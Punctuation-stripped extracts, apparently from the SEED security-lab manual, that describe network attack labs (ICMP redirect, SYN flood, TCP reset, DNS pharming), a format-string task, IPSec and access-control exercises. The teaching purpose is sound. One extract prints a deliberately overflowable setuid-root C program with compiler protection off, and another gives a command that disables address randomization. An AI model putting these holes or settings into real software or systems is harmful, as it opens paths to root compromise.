237. way Several commands can be useful in this task In Linux we can use command arp to check the current mapping between IP address and MAC 3 2 ICMP Redirect Attack The ICMP redirect message is used by routers to provide the up to date routing information to new hosts which initially have minimal routing information In an ICMP redirect attack the attacker can send a spoofed ICMP redirect message to a victim this message can cause the victim s routing information to be modified In Linux the routing information can be displayed using the command route 3 3 SYN Flooding Attacks SYN flood is a form of DoS attack in which attackers send many SYN requests to a victim s TCP port but the attackers have no intention to finish the 3 way handshake procedure Attackers either use spoofed IP address or do not continue the procedure Through this attack attackers can flood the victim s queue that is used for half opened connections i e the connections that has finished SYN SYN ACK but has not yet got a final ACK back When this queue is full the victim cannot take any more connection SS a SYN ACK server SYN ACK user SYN ACK user 9 server 00 server Normal TCP 3 way handshake between user and server attacker user user SYN flood attacker sends many SYN to server without ACK The server is not able to process request from user Figure 1 SYN Flood
238. whether the format string attack on the previous vulnerable program without the first scanf statement is still difficult You can use the following command to turn off the address randomization note that you need to run it as root sysctl w kernel randomize_va_space 0 After turning off the address randomization your task is to repeat the same task described in Task 1 but you have to remove the first scanf statement scanf d int_input from the vulnerable program How to let scanf accept an arbitrary number Usually scanf is going to pause for you to type inputs Sometimes you want the program to take a number 0x05 not the character 5 Unfortunately when you type 5S at the input scanf actually takes in the ASCII value of 5 which is 0x35 rather than 0x05 The challenge is that in ASCII 0x05 is not a typable character so there is no way we can type in this value One way to solve this problem is to use a file We can easily write a C program that stores 0x05 again not 5 to a file let us call it myst ring then we can run the vulnerable program let us call it a out with its input being redirected to myst ring namely we run a out lt mystring This way scanf will take its input from the file myst ring instead of from the keyboard You need to pay attention to some special numbers such as 0x0A newline Ox0C form feed 0x0D return and 0x20 space scanf considers them as separator and wi
239. will lose that delegated role immediately e Enable Disable Drop Roles When a user initiates a new session all the user s roles will be in a disabled state we call them inactive roles namely the roles will not be effective in access control Users need to specifically enable those roles An enabled role is called an active role The following functionalities should be supported During a session a user can enable and disable any of their roles Functions related to role enabling and disabling are EnableRole and DisableRole The DisableRole function does not permanently drop a role it only makes the role inactive Ifa session does not need a role anymore it should be able to permanently drop the role using DropRole Once a role is droped from the session there is no way for the user to regain that role during the current session However new sessions will still have that role You need to pay attention to the following situation if some processes possible for Unix OS are left behind after the user logs out what will happen to those process Do they still have the privileges associated with the original session You should describe and justify your design decision in your report regarding this issue For example they can put the enabling commands in their login file 83 Laboratory for Computer Security Education 4 B Separation of Duty Separation of duty relations are used to enforce conflict of
240. y More about the pacgen Tool Pacgen is an open source Ethernet IP TCP UDP packet generating tool This tool is developed in C language is easily configurable at every layer of the network packet and is much efficient packet generator than the netwag tool We suggest the students to use this tool for packet generation since this attack requires the attacker to send out thousands of replies in fraction of a second Pacgen 1 10 tool can be downloaded from the web Students can also use other tools that they are familiar with Snttp linux softpedia com get System Networking pacgen 14284 shtml 78 com Laboratory for Computer Security Education 11 1 Configuration This tool requires the Libnet library to be installed which has already been installed in our pre built virtual machine image This tool can be downloaded from the the web The configuration of the header information is very simple for the pacgen tool There is a header configuration file for each layer in the pacgen directory like eth_ header for ethernet layer ip_header for IP layer 2 Compilation Students can read the INSTALL file in the pacgen tool to check for the compilation information In short the following command should do for compiling the code to generate pacgen executable sh install sh Note 1 If the compilation gives the following error pacgen c undefined reference to libnet open_link_interface then goto System gt Administratio
241. y Education 3 2 2 The Vulnerable Program rvretlib c x This program has a buffer overflow vulnerability Our task is to exploit this vulnerability include lt stdlib h gt include lt stdio h gt include lt string h gt int bof FILE badfile char buffer 12 x The following statement has a buffer overflow problem fread buffer sizeof char 40 badfile return 1 int main int argc char xargv FILE xbadfile badfile fopen badfile r bof badfile printf Returned Properly n fclose badfile return 1 Compile the above vulnerable program and make it set root uid You can achieve this by compiling it in the root account and chmod the executable to 4755 su root Password enter root password gcc fno stack protector o retlib retlib c chmod 4755 retlib exit The above program has a buffer overflow vulnerability It first reads an input of size 40 bytes from a file called badfile into a buffer of size 12 causing the overflow The function fread does not check boundaries so buffer overflow will occur Since this program is a set root uid program if a normal user can exploit this buffer overflow vulnerability the normal user might be able to get a root shell It should be noted that the program gets its input from a file called badfile This file is under users control Now our objective is to create the co
242. y the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Overview In our IPSec project we need to construct a network environment to demonstate how to use IPSec to imple ment Virtual Private Nework VPN In our demonstration we need to establish an IPSec tunnel between two gateways so machines in two different networks connected via the Internet through those two gateways can communicate securely using the secure tunnel In this document we show how to simulate such an environment using four Minix virtual machines Because setting up two network interface cards on one Minix machine is not easy we use one network interface on each gateway Although this will cause the gateway to send out ICMP Redirect messages it does not matter The entire setup is illustated in Figure 1 In this setup we want to each packet from HOST1 to HOST2 to route through GW1 and GW2 Although there are other ways to set up such an environment this particular setup is the best that we can come up with we are open to better solutions This solution has the following properties 1 Each Minix machine uses only one network card 2 The network cards in each Minix machine use the same VMWare network Adapter 3 We do not have to change the code in Minix OS 4 Different network mask is used so that the network configured by VMWare network Adapter can be separated into different subnets 2 Configuratio
243. you can choose a video streaming web site that you are familiar with we will not name any specific web site here Most of video sharing websites establish a TCP connection with the client for streaming the video content The attacker s goal is to disrupt the TCP session established between the victim and video streaming machine To simplify the lab we assume that the attacker and the victim are on the same LAN In the following we describe the common interaction between a user the victim and some video streaming web site e The victim browses for a video content in the video streaming web site and selects one of the videos for streaming e Normally the hosts the streaming of the content from a different machine where all the video contents are located Now a TCP session will be established between the victim machine and the content server for the video streaming The victim can then view the video he she has selected Your task is to disrupt the video streaming by breaking the TCP connection between the victim and the content server You can let the victim user browse the video streaming site from another virtual machine or from the same virtual machine as the attacker Any attacking packets should be targeted at the vitim machine not the content server machine 3 6 ICMP Blind Connection Reset Attacks ICMP messages can also be used achieve the connection reseting attack To do this attackers send an ICMP error message that indicates
244. you get the explanation from the Internet you still need to find ways to verify those explanations through your own experiments You need to convince us that the explanations you get from the Internet can indeed explain your observations 68 Laboratory for Computer Security Education 1 DNS Pharming Attack Lab Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Lab Overview DNS Domain Name System is the Internet s phone book it translates hostnames to IP addresses or IP addresses to hostnames This translation is through DNS resolution which happens behind the scene DNS Pharming attacks manipulate this resolution process in various ways with an intent to misdirect users to alternative destinations which are often malicious The objective of this lab is to understand how such attacks work Students will first set up and configure a DNS server and then they will try various DNS Pharming attacks on the target that is also within the lab environment 2 Lab Environment

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